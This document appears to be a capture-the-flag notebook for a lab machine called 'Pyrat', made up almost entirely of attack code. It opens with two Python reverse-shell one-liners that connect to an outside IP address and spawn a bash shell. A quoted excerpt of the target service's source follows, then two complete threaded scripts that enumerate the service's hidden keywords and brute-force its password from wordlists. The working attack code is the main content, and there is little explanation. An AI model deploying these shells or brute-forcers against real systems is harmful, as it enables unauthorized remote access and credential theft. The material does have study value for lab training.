Pyrat

import sys,socket,os,pty;
s=socket.socket();
s.connect(("192.168.141.169",4445));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.141.169",4445));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/bash")

think@ip-10-64-146-183:/opt/dev$ cat pyrat.py.old
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

import socket
import argparse
import sys
import threading
from queue import Queue

DEFAULT_PORT = 8000
DEFAULT_KEYWORD_WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
DEFAULT_THREADS = 50
121 collapsed lines

def try_keyword(target, port, keyword, timeout=2):
    """Try a keyword and return the response."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((target, port))
        s.sendall((keyword + "\n").encode())
        response = s.recv(1024).decode(errors="ignore").strip()
        s.close()
        return response
    except socket.timeout:
        return ""
    except Exception:
        return None

def worker(target, port, timeout, queue, interesting, lock, progress):
    """Thread worker - pull keywords from queue and test them."""
    while True:
        keyword = queue.get()
        if keyword is None:
            break

        response = try_keyword(target, port, keyword, timeout)

        with lock:
            progress[0] += 1
            count = progress[0]
            total = progress[1]
            if count % 10 == 0:
                print(f"[*] Progress: {count:,}/{total:,} - Current: {keyword:<20}", end="\r")

            if response is not None and "not defined" not in response and response != "":
                interesting.append((keyword, response))
                print(f"\n[+] Interesting keyword: '{keyword}'")
                print(f"    Response: {repr(response)}\n")

        queue.task_done()

def enumerate_keywords(target, port, wordlist_path, threads, timeout):
    """Enumerate all keywords using a thread pool."""
    print(f"[*] Enumerating keywords against {target}:{port}")
    print(f"[*] Using keyword wordlist: {wordlist_path}")
    print(f"[*] Threads: {threads} | Timeout: {timeout}s\n")

    try:
        with open(wordlist_path, "r", encoding="latin-1") as f:
            keywords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[-] Keyword wordlist not found at: {wordlist_path}")
        sys.exit(1)

    print(f"[*] Loaded {len(keywords):,} keywords to try...\n")

    queue = Queue()
    interesting = []
    lock = threading.Lock()
    progress = [0, len(keywords)]  # [current, total]

    # Start thread pool
    thread_pool = []
    for _ in range(threads):
        t = threading.Thread(target=worker, args=(target, port, timeout, queue, interesting, lock, progress))
        t.daemon = True
        t.start()
        thread_pool.append(t)

    # Feed keywords into the queue
    for keyword in keywords:
        queue.put(keyword)

    # Signal threads to stop when queue is empty
    for _ in range(threads):
        queue.put(None)

    # Wait for all threads to finish
    for t in thread_pool:
        t.join()

    # Summary
    print(f"\n\n{'='*60}")
    print(f"[*] Enumeration complete. {len(interesting)} interesting keyword(s) found:\n")
    if interesting:
        for keyword, response in interesting:
            print(f"  Keyword  : {keyword}")
            print(f"  Response : {repr(response)}")
            print()
    else:
        print("  None found - try a different wordlist.")
    print('='*60)

def parse_args():
    parser = argparse.ArgumentParser(
        description="Pyrat service keyword enumerator",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
examples:
  %(prog)s -t pyrat.thm
  %(prog)s -t pyrat.thm -p 9000
  %(prog)s -t pyrat.thm -K /path/to/keywords.txt
  %(prog)s -t pyrat.thm --threads 100 --timeout 1
        """
    )

    parser.add_argument("-t", "--target", required=True, metavar="HOST",
                        help="Target host (e.g. pyrat.thm or 10.10.10.10)")
    parser.add_argument("-p", "--port", type=int, default=DEFAULT_PORT, metavar="PORT",
                        help=f"Target port (default: {DEFAULT_PORT})")
    parser.add_argument("-K", "--keyword-wordlist", default=DEFAULT_KEYWORD_WORDLIST, metavar="FILE",
                        help=f"Wordlist to enumerate (default: {DEFAULT_KEYWORD_WORDLIST})")
    parser.add_argument("--threads", type=int, default=DEFAULT_THREADS, metavar="N",
                        help=f"Number of concurrent threads (default: {DEFAULT_THREADS})")
    parser.add_argument("--timeout", type=float, default=2, metavar="SECS",
                        help="Socket timeout in seconds (default: 2)")

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()

    print(f"""
╔══════════════════════════════════════════╗
║        Pyrat Keyword Enumerator          ║
╚══════════════════════════════════════════╝
  Target  : {args.target}:{args.port}
  Wordlist: {args.keyword_wordlist}
  Threads : {args.threads}
  Timeout : {args.timeout}s
""")

    enumerate_keywords(args.target, args.port, args.keyword_wordlist, args.threads, args.timeout)

import socket
import argparse
import sys
import threading
from queue import Queue

DEFAULT_PORT = 8000
DEFAULT_KEYWORD_WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
DEFAULT_PASSWORD_WORDLIST = "/usr/share/wordlists/fasttrack.txt"
DEFAULT_THREADS = 50

268 collapsed lines
# Responses that look interesting but are just Python syntax/exec noise
IGNORE_RESPONSES = [
    "invalid syntax",
    "eol while scanning",
    "unexpected eof",
    "invalid token",
    "cannot assign",
    "not defined",
]

# Responses that confirm a successful password
SUCCESS_RESPONSES = ["$", "#", "welcome"]

def is_ignorable(response):
    """Return True if the response is just Python exec noise."""
    lowered = response.lower()
    return any(pattern in lowered for pattern in IGNORE_RESPONSES)

def is_successful(response):
    """Return True if the response looks like a successful login."""
    lowered = response.lower()
    return any(indicator in lowered for indicator in SUCCESS_RESPONSES)

def try_keyword(target, port, keyword, timeout=2):
    """Try a keyword and return the response."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((target, port))
        s.sendall((keyword + "\n").encode())
        response = s.recv(1024).decode(errors="ignore").strip()
        s.close()
        return response
    except socket.timeout:
        return ""
    except Exception:
        return None

def try_password(target, port, keyword, password, timeout=2):
    """Connect, send keyword, wait for password prompt, send password."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((target, port))
        s.sendall((keyword + "\n").encode())
        resp = s.recv(1024).decode(errors="ignore")

        if "Password" not in resp:
            s.close()
            return None

        s.sendall((password + "\n").encode())
        resp2 = s.recv(1024).decode(errors="ignore").strip()
        s.close()
        return resp2
    except socket.timeout:
        return ""
    except Exception:
        return None

def brute_force_password(target, port, keyword, wordlist_path, threads, timeout):
    """Brute-force the password for a given keyword. Returns found password or None."""
    print(f"\n[*] Pausing enumeration - brute-forcing password for keyword '{keyword}'...")
    print(f"[*] Wordlist : {wordlist_path}")
    print(f"[*] Threads  : {threads} | Timeout: {timeout}s\n")

    try:
        with open(wordlist_path, "r", encoding="latin-1") as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[-] Password wordlist not found at: {wordlist_path}")
        return None

    print(f"[*] Loaded {len(passwords):,} passwords to try...\n")

    queue = Queue()
    lock = threading.Lock()
    progress = [0, len(passwords)]
    found = [None]

    def password_worker():
        while True:
            if found[0]:
                queue.task_done()
                break

            password = queue.get()
            if password is None:
                queue.task_done()
                break

            response = try_password(target, port, keyword, password, timeout)

            with lock:
                progress[0] += 1
                count = progress[0]
                total = progress[1]
                if count % 10 == 0:
                    print(f"[*] Progress: {count:,}/{total:,} - Current: {password:<20}", end="\r")

                # Only flag as success if the response looks like a shell/welcome
                # A re-prompt of 'Password:' means the password was wrong
                if response is not None and is_successful(response):
                    if not found[0]:
                        found[0] = password
                        print(f"\n[!] Password found: '{password}'")
                        print(f"    Response: {repr(response)}\n")

            queue.task_done()

    thread_pool = []
    for _ in range(threads):
        t = threading.Thread(target=password_worker)
        t.daemon = True
        t.start()
        thread_pool.append(t)

    for password in passwords:
        if found[0]:
            break
        queue.put(password)
    for _ in range(threads):
        queue.put(None)

    for t in thread_pool:
        t.join()

    if not found[0]:
        print(f"\n[-] Password not found in wordlist.")

    return found[0]

def enumerate_keywords(target, port, keyword_wordlist, password_wordlist, threads, timeout):
    """Enumerate all keywords, pausing to brute-force when a password prompt is found."""
    print(f"[*] Enumerating keywords against {target}:{port}")
    print(f"[*] Wordlist : {keyword_wordlist}")
    print(f"[*] Threads  : {threads} | Timeout: {timeout}s\n")

    try:
        with open(keyword_wordlist, "r", encoding="latin-1") as f:
            keywords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[-] Keyword wordlist not found at: {keyword_wordlist}")
        sys.exit(1)

    print(f"[*] Loaded {len(keywords):,} keywords to try...\n")

    interesting = []
    lock = threading.Lock()
    progress = [0, len(keywords)]

    pause_event = threading.Event()
    pause_event.set()
    brute_force_triggered = set()

    def keyword_worker(queue):
        while True:
            keyword = queue.get()
            if keyword is None:
                queue.task_done()
                break

            pause_event.wait()

            response = try_keyword(target, port, keyword, timeout)

            with lock:
                progress[0] += 1
                count = progress[0]
                total = progress[1]
                if count % 10 == 0:
                    print(f"[*] Progress: {count:,}/{total:,} - Current: {keyword:<20}", end="\r")

                if response is not None and response != "" and not is_ignorable(response):
                    interesting.append((keyword, response))

                    if "password" in response.lower() and password_wordlist \
                            and keyword not in brute_force_triggered:
                        brute_force_triggered.add(keyword)
                        pause_event.clear()
                        print(f"\n[+] Password prompt found for keyword: '{keyword}'\n")
                        do_brute_force = True
                    else:
                        print(f"\n[+] Interesting keyword: '{keyword}'")
                        print(f"    Response: {repr(response)}\n")
                        do_brute_force = False
                else:
                    do_brute_force = False

            if do_brute_force:
                result = brute_force_password(
                    target, port, keyword, password_wordlist, threads, timeout
                )
                if result:
                    print(f"\n[!] Success! Keyword: '{keyword}' | Password: '{result}'\n")
                else:
                    print(f"\n[-] No password found for '{keyword}', try a larger wordlist.\n")
                print(f"[*] Resuming keyword enumeration...\n")
                pause_event.set()

            queue.task_done()

    queue = Queue()
    thread_pool = []
    for _ in range(threads):
        t = threading.Thread(target=keyword_worker, args=(queue,))
        t.daemon = True
        t.start()
        thread_pool.append(t)

    for keyword in keywords:
        queue.put(keyword)
    for _ in range(threads):
        queue.put(None)

    for t in thread_pool:
        t.join()

    print(f"\n\n{'='*60}")
    print(f"[*] Enumeration complete. {len(interesting)} interesting keyword(s) found:\n")
    if interesting:
        for keyword, response in interesting:
            print(f"  Keyword  : {keyword}")
            print(f"  Response : {repr(response)}")
            print()
    else:
        print("  None found - try a different wordlist.")
    print('='*60)

def parse_args():
    parser = argparse.ArgumentParser(
        description="Pyrat service keyword enumerator and password brute-forcer",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
examples:
  %(prog)s -t pyrat.thm
  %(prog)s -t pyrat.thm -p 9000
  %(prog)s -t pyrat.thm -k admin
  %(prog)s -t pyrat.thm -k admin -P /usr/share/wordlists/rockyou.txt
  %(prog)s -t pyrat.thm -K /path/to/keywords.txt -P /path/to/passwords.txt
  %(prog)s -t pyrat.thm --threads 100 --timeout 1
  %(prog)s -t pyrat.thm --no-bruteforce
        """
    )

    parser.add_argument("-t", "--target", required=True, metavar="HOST",
                        help="Target host (e.g. pyrat.thm or 10.10.10.10)")
    parser.add_argument("-p", "--port", type=int, default=DEFAULT_PORT, metavar="PORT",
                        help=f"Target port (default: {DEFAULT_PORT})")
    parser.add_argument("-k", "--keyword", default=None, metavar="KEYWORD",
                        help="Skip keyword enumeration and brute-force this keyword directly")
    parser.add_argument("-K", "--keyword-wordlist", default=DEFAULT_KEYWORD_WORDLIST, metavar="FILE",
                        help=f"Wordlist for keyword enumeration (default: {DEFAULT_KEYWORD_WORDLIST})")
    parser.add_argument("-P", "--password-wordlist", default=DEFAULT_PASSWORD_WORDLIST, metavar="FILE",
                        help=f"Wordlist for password brute-force (default: {DEFAULT_PASSWORD_WORDLIST})")
    parser.add_argument("--no-bruteforce", action="store_true",
                        help="Disable password brute-forcing entirely (keyword enumeration only)")
    parser.add_argument("--threads", type=int, default=DEFAULT_THREADS, metavar="N",
                        help=f"Number of concurrent threads (default: {DEFAULT_THREADS})")
    parser.add_argument("--timeout", type=float, default=2, metavar="SECS",
                        help="Socket timeout in seconds (default: 2)")

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()

    password_wordlist = None if args.no_bruteforce else args.password_wordlist

    print(f"""
╔══════════════════════════════════════════╗
║      Pyrat Enumerator & Brute-Forcer     ║
╚══════════════════════════════════════════╝
  Target   : {args.target}:{args.port}
  Keyword  : {args.keyword if args.keyword else f"Enumerate via {args.keyword_wordlist}"}
  Passwords: {"Disabled (--no-bruteforce)" if args.no_bruteforce else password_wordlist}
  Threads  : {args.threads}
  Timeout  : {args.timeout}s
""")

    if args.keyword:
        print(f"[*] Skipping enumeration, using supplied keyword: '{args.keyword}'")
        if password_wordlist:
            result = brute_force_password(
                args.target, args.port, args.keyword,
                password_wordlist, args.threads, args.timeout
            )
            if result:
                print(f"\n[!] Success! Keyword: '{args.keyword}' | Password: '{result}'")
    else:
        enumerate_keywords(
            args.target, args.port,
            args.keyword_wordlist, password_wordlist,
            args.threads, args.timeout
        )